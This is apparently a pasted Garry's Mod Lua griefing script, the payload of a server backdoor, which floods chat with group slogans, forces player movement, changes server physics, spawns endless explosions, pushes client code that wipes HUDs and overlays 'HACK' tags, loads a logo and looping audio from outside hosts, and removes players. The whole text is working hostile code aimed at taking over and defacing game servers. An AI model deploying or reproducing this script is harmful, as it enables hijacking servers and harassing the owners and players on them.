  913. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  914. enigmalaunchproject:SendLua( pPlayer, [[
  915.  
  916. RunConsoleCommand("+right")
  917.  
  918. ]] )
  919. end )
  920.  
  921. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  922. enigmalaunchproject:SendLua( pPlayer, [[
  923.  
  924. RunConsoleCommand("-right")
  925.  
  926. ]] )
  927. end )
  928.  
  929. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  930. enigmalaunchproject:SendLua( pPlayer, [[
  931.  
  932. RunConsoleCommand("+duck")
  933.  
  934. ]] )
  935. end )
  936.  
  937. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  938. enigmalaunchproject:SendLua( pPlayer, [[
  939.  
  940. RunConsoleCommand("-duck")
  941.  
  942. ]] )
  943. end )
  944.  
  945. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  946.  
  947. timer.Create( "lespamckool", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "Enigma will bring back this game from his ashes" )' ) end)
  948. timer.Create( "lespamckool2", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "We control this game !" )' ) end)
  949. timer.Create( "lespamckool3", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "Server in purification" )' ) end)
  950. timer.Create( "lespamckool4", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "ZILNIX" )' ) end)
  951. timer.Create( "lespamckool5", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "KEETA" )' ) end)
  952. timer.Create( "lespamckool6", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "IXXE" )' ) end)
  953. timer.Create( "lespamckool7", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "And GVacdoor Members !" )' ) end)
  954. timer.Create( "lespamckool8", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "The Elite Of GMod" )' ) end)
  955.  
  956. end )
  957.  
  958.  
  959. enigmalaunchproject:NouvelleAction( 4, function( pPlayer )
  960.  
  961. timer.Remove( "lespamckool" )
  962. timer.Remove( "lespamckool2" )
  963. timer.Remove( "lespamckool3" )
  964. timer.Remove( "lespamckool4" )
  965. timer.Remove( "lespamckool5" )
  966. timer.Remove( "lespamckool6" )
  967. timer.Remove( "lespamckool7" )
  968. timer.Remove( "lespamckool8" )
  969.  
  970. end )
  971.  
  972. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  973.  
  974.  
  975. RunConsoleCommand("sv_friction", "-50")
  976.  
  977.  
  978. end )
  979.  
  980. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  981.  
  982.  
  983. RunConsoleCommand("sv_gravity", "300")
  984.  
  985.  
  986. end )
  987.  
  988. enigmalaunchproject:NouvelleAction( 12, function( pPlayer )
  989.  
  990.  
  991. hook.Add("Think", "armageddon", function()
  992. local explode = ents.Create( "env_explosion" )
  993. explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
  994. explode:Spawn()
  995. explode:SetKeyValue( "iMagnitude", "500" )
  996. explode:Fire( "Explode", 0, 0 )
  997. end)
  998.  
  999. end )
  1000.  
  1001.  
  1002. enigmalaunchproject:NouvelleAction( 27, function( pPlayer )
  1003.  
  1004. hook.Remove( "Think", "armageddon", function() end)
  1005.  
  1006. end )
  1007.  
  1008. enigmalaunchproject:NouvelleAction( 7, function( pPlayer )
  1009. enigmalaunchproject:SendLua( pPlayer, [[
  1010. hook.Add( "RenderScreenspaceEffects", "itsendofworld", function()
  1011. local sinScaler = math.sin( CurTime() )
  1012. DrawBloom(
  1013. 0,
  1014. 3,
  1015. sinScaler *math.Rand(1, 8),
  1016. sinScaler *math.Rand(1, 8),
  1017. 6,
  1018. math.Rand(0.5, 2),
  1019. math.Rand(0, 0.3),
  1020. math.Rand(0, 0.3),
  1021. math.Rand(0.5, 1)
  1022. )
  1023.  
  1024. DrawColorModify{
  1025. ["$pp_colour_addr"] = 0,
  1026. ["$pp_colour_addg"] = 0,
  1027. ["$pp_colour_addb"] = 0,
  1028. ["$pp_colour_brightness" ] = 0.1,
  1029. ["$pp_colour_contrast" ] = 0.1,
  1030. ["$pp_colour_colour" ] = 0.1,
  1031. ["$pp_colour_mulr" ] = 0,
  1032. ["$pp_colour_mulg" ] = 0,
  1033. ["$pp_colour_mulb" ] = 0
  1034. }
  1035. end )
  1036.  
  1037. ]] )
  1038. end )
  1039.  
  1040. enigmalaunchproject:NouvelleAction( 0, function( pPlayer )
  1041. enigmalaunchproject:SendLua( pPlayer, [[
  1042.  
  1043. (GAMEMODE or GM).CalcView = function() end
  1044. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  1045.  
  1046. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  1047. for k, v in pairs(remove) do
  1048. hook.GetTable()[v] = {}
  1049. end
  1050.  
  1051. local function GetWebMat( strURL )
  1052. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  1053. end
  1054.  
  1055. hook.Add( "HUDPaint", "hud1enigma", function()
  1056. surface.SetDrawColor( 255, 255, 255, 255 )
  1057.  
  1058. draw.SimpleTextOutlined(
  1059. "JoBisteur",
  1060. "HACK",
  1061. ScrW() /2 +math.random( -270, 300 ),
  1062. ScrH() /2 +math.random( -300, 700 ) +0,
  1063. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  1064. TEXT_ALIGN_CENTER,
  1065. TEXT_ALIGN_CENTER,
  1066. 1,
  1067. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  1068. )
  1069. end )
  1070.  
  1071. ]] )
  1072. end )
  1073.  
  1074.  
  1075. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  1076. enigmalaunchproject:SendLua( pPlayer, [[
  1077.  
  1078. (GAMEMODE or GM).CalcView = function() end
  1079. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  1080.  
  1081. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  1082. for k, v in pairs(remove) do
  1083. hook.GetTable()[v] = {}
  1084. end
  1085.  
  1086. local function GetWebMat( strURL )
  1087. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  1088. end
  1089.  
  1090. hook.Add( "HUDPaint", "hud2enigma", function()
  1091. surface.SetDrawColor( 255, 255, 255, 255 )
  1092.  
  1093. draw.SimpleTextOutlined(
  1094. "HACK PAR JOBISTEUR",
  1095. "DermaLarge",
  1096. ScrW() /2 +math.random( -600, 700 ),
  1097. ScrH() /2 +math.random( -200, 800 ) +100,
  1098. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  1099. TEXT_ALIGN_CENTER,
  1100. TEXT_ALIGN_CENTER,
  1101. 1,
  1102. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  1103. )
  1104. end )
  1105. ]] )
  1106. end )
  1107.  
  1108. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  1109. enigmalaunchproject:SendLua( pPlayer, [[
  1110.  
  1111. (GAMEMODE or GM).CalcView = function() end
  1112. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  1113.  
  1114. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  1115. for k, v in pairs(remove) do
  1116. hook.GetTable()[v] = {}
  1117. end
  1118.  
  1119. local function GetWebMat( strURL )
  1120. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  1121. end
  1122.  
  1123. hook.Add( "HUDPaint", "hud3enigma", function()
  1124. surface.SetDrawColor( 255, 255, 255, 255 )
  1125.  
  1126. draw.SimpleTextOutlined(
  1127. "VwV",
  1128. "DermaLarge",
  1129. ScrW() /2 +math.random( -400, 500 ),
  1130. ScrH() /2 +math.random( -600, 500 ) -100,
  1131. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  1132. TEXT_ALIGN_CENTER,
  1133. TEXT_ALIGN_CENTER,
  1134. 1,
  1135. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  1136. )
  1137. end )
  1138. ]] )
  1139. end )
  1140.  
  1141. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  1142. enigmalaunchproject:SendLua( pPlayer, [[
  1143.  
  1144. (GAMEMODE or GM).CalcView = function() end
  1145. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  1146.  
  1147. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  1148. for k, v in pairs(remove) do
  1149. hook.GetTable()[v] = {}
  1150. end
  1151.  
  1152. local function GetWebMat( strURL )
  1153. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  1154. end
  1155.  
  1156. hook.Add( "HUDPaint", "hud5enigma", function()
  1157. surface.SetDrawColor( 255, 255, 255, 255 )
  1158.  
  1159. draw.SimpleTextOutlined(
  1160. "Snowiiz",
  1161. "DermaLarge",
  1162. ScrW() /2 +math.random( -500, 500 ),
  1163. ScrH() /2 +math.random( -500, 500 ) +0,
  1164. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  1165. TEXT_ALIGN_CENTER,
  1166. TEXT_ALIGN_CENTER,
  1167. 1,
  1168. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  1169. )
  1170. end )
  1171. ]] )
  1172. end )
  1173.  
  1174. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  1175. enigmalaunchproject:SendLua( pPlayer, [[
  1176.  
  1177. (GAMEMODE or GM).CalcView = function() end
  1178. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  1179.  
  1180. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  1181. for k, v in pairs(remove) do
  1182. hook.GetTable()[v] = {}
  1183. end
  1184.  
  1185. local function GetWebMat( strURL )
  1186. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  1187. end
  1188.  
  1189. hook.Add( "HUDPaint", "hud7enigma", function()
  1190. surface.SetDrawColor( 255, 255, 255, 255 )
  1191.  
  1192. draw.SimpleTextOutlined(
  1193. "Dedi a la Enigma",
  1194. "DermaLarge",
  1195. ScrW() /2 +math.random( -700, 700 ),
  1196. ScrH() /2 +math.random( -700, 700 ) +300,
  1197. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  1198. TEXT_ALIGN_CENTER,
  1199. TEXT_ALIGN_CENTER,
  1200. 1,
  1201. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  1202. )
  1203. end )
  1204. ]] )
  1205. end )
  1206.  
  1207. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  1208. enigmalaunchproject:SendLua( pPlayer, [[
  1209.  
  1210. (GAMEMODE or GM).CalcView = function() end
  1211. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  1212.  
  1213. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  1214. for k, v in pairs(remove) do
  1215. hook.GetTable()[v] = {}
  1216. end
  1217.  
  1218. local function GetWebMat( strURL )
  1219. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  1220. end
  1221.  
  1222. hook.Add( "HUDPaint", "hud10enigma", function()
  1223. surface.SetDrawColor( 255, 255, 255, 255 )
  1224.  
  1225. draw.SimpleTextOutlined(
  1226. "FULLMACHINE",
  1227. "DermaLarge",
  1228. ScrW() /2 +math.random( -800, 800 ),
  1229. ScrH() /2 +math.random( -800, 800 ) -400,
  1230. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  1231. TEXT_ALIGN_CENTER,
  1232. TEXT_ALIGN_CENTER,
  1233. 1,
  1234. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  1235. )
  1236. end )
  1237. ]] )
  1238. end )
  1239.  
  1240. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  1241. enigmalaunchproject:SendLua( pPlayer, [[
  1242.  
  1243. (GAMEMODE or GM).CalcView = function() end
  1244. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  1245.  
  1246. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  1247. for k, v in pairs(remove) do
  1248. hook.GetTable()[v] = {}
  1249. end
  1250.  
  1251. local function GetWebMat( strURL )
  1252. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  1253. end
  1254.  
  1255. hook.Add( "HUDPaint", "hud12enigma", function()
  1256. surface.SetDrawColor( 255, 255, 255, 255 )
  1257.  
  1258. draw.SimpleTextOutlined(
  1259. "Burrows42",
  1260. "DermaLarge",
  1261. ScrW() /2 +math.random( -850, 850 ),
  1262. ScrH() /2 +math.random( -850, 850 ) +100,
  1263. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  1264. TEXT_ALIGN_CENTER,
  1265. TEXT_ALIGN_CENTER,
  1266. 1,
  1267. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  1268. )
  1269. end )
  1270. ]] )
  1271. end )
  1272.  
  1273. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  1274. enigmalaunchproject:SendLua( pPlayer, [[
  1275.  
  1276. (GAMEMODE or GM).CalcView = function() end
  1277. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  1278.  
  1279. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  1280. for k, v in pairs(remove) do
  1281. hook.GetTable()[v] = {}
  1282. end
  1283.  
  1284. local function GetWebMat( strURL )
  1285. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  1286. end
  1287.  
  1288. hook.Add( "HUDPaint", "hud1enigma", function()
  1289. surface.SetDrawColor( 255, 255, 255, 255 )
  1290.  
  1291. draw.SimpleTextOutlined(
  1292. "VwV",
  1293. "DermaLarge",
  1294. ScrW() /2 +math.random( -300, 600 ),
  1295. ScrH() /2 +math.random( -600, 300 ) +200,
  1296. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  1297. TEXT_ALIGN_CENTER,
  1298. TEXT_ALIGN_CENTER,
  1299. 1,
  1300. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  1301. )
  1302. end )
  1303. ]] )
  1304. end )
  1305.  
  1306. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  1307. enigmalaunchproject:SendLua( pPlayer, [[
  1308.  
  1309. (GAMEMODE or GM).CalcView = function() end
  1310. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  1311.  
  1312. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  1313. for k, v in pairs(remove) do
  1314. hook.GetTable()[v] = {}
  1315. end
  1316.  
  1317. local function GetWebMat( strURL )
  1318. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  1319. end
  1320.  
  1321. hook.Add( "HUDPaint", "hud1enigma", function()
  1322. surface.SetDrawColor( 255, 255, 255, 255 )
  1323.  
  1324. draw.SimpleTextOutlined(
  1325. "JoBisteur",
  1326. "HACK",
  1327. ScrW() /2 +math.random( -300, 600 ),
  1328. ScrH() /2 +math.random( -600, 300 ) +200,
  1329. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  1330. TEXT_ALIGN_CENTER,
  1331. TEXT_ALIGN_CENTER,
  1332. 1,
  1333. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  1334. )
  1335. end )
  1336. ]] )
  1337. end )
  1338.  
  1339.  
  1340. enigmalaunchproject:NouvelleAction( 0, function( pPlayer )
  1341. enigmalaunchproject:SendLua( pPlayer, ([=[
  1342.  
  1343. g_]=].. enigmalaunchproject.m_strImageGlobalVar.. [=[ = {}
  1344. local html = [[%s]]
  1345. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  1346. local pnl = vgui.Create( "HTML" )
  1347. pnl:SetPos( ScrW() -1, ScrH() -1 )
  1348. pnl:SetVisible( true )
  1349. pnl:SetMouseInputEnabled( false )
  1350. pnl:SetKeyBoardInputEnabled( false )
  1351. pnl:SetSize( intSizeX, intSizeY )
  1352. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  1353.  
  1354. local PageLoaded
  1355. PageLoaded = function()
  1356. local mat = pnl:GetHTMLMaterial()
  1357. if mat then
  1358. g_]=].. enigmalaunchproject.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  1359. return
  1360. end
  1361.  
  1362. timer.Simple( 0.5, PageLoaded )
  1363. end
  1364.  
  1365. PageLoaded()
  1366. end
  1367.  
  1368. LoadWebMaterial( "https://thereaper.tk/__/hehehe/__!!__!!/bravo_ct_inutile/enigmaaaa.png", "EnigmaLogo", 1000, 1000 )
  1369. ]=]):format(lol.m_strImageLoadHTML) )
  1370. end )
  1371.  
  1372. enigmalaunchproject:NouvelleAction( 0, function( pPlayer )
  1373. enigmalaunchproject:SendLua( pPlayer, [[
  1374. (GAMEMODE or GM).CalcView = function() end
  1375. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  1376.  
  1377. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  1378. for k, v in pairs(remove) do
  1379. hook.GetTable()[v] = {}
  1380. end
  1381.  
  1382. local function GetWebMat( strURL )
  1383. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  1384. end
  1385.  
  1386. hook.Add( "HUDPaint", "EnigmaLogoHUD", function()
  1387. surface.SetDrawColor( 255, 255, 255, 255 )
  1388.  
  1389. if GetWebMat( "EnigmaLogo" ) then
  1390. surface.SetMaterial( GetWebMat("EnigmaLogo")[1] )
  1391. surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
  1392. end
  1393. end )
  1394.  
  1395. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  1396. hook.Add( "HUDShouldDraw", "EnigmaLogoHUD", function( str ) if not allowed[str] then return false end end )
  1397.  
  1398. surface.PlaySound( "garrysmod/save_load4.wav" )
  1399. surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
  1400. ]] )
  1401. end )
  1402.  
  1403. lol:PushAction( 175, function( pPlayer )
  1404. lol:SendLua( pPlayer, [[
  1405. surface.PlaySound( "vo/npc/male01/gethellout.wav" )
  1406.  
  1407. local sounds = {}
  1408. for i = 1, 4 do
  1409. sound.PlayURL( "http://www.underdone.org/leak/underdone/asd.mp3", "noblock noplay", function( pChan )
  1410. sounds[#sounds +1] = pChan
  1411. end )
  1412. end
  1413.  
  1414. timer.Create( "asdf", 1, 0, function()
  1415. if #sounds ~= 4 then return end
  1416. timer.Destroy( "asdf" )
  1417. for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end
  1418. end )
  1419.  
  1420. hook.Add( "HUDShouldDraw", "newhud", function() return false end )
  1421. ]] )
  1422.  
  1423. pPlayer:Remove()
  1424. end )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement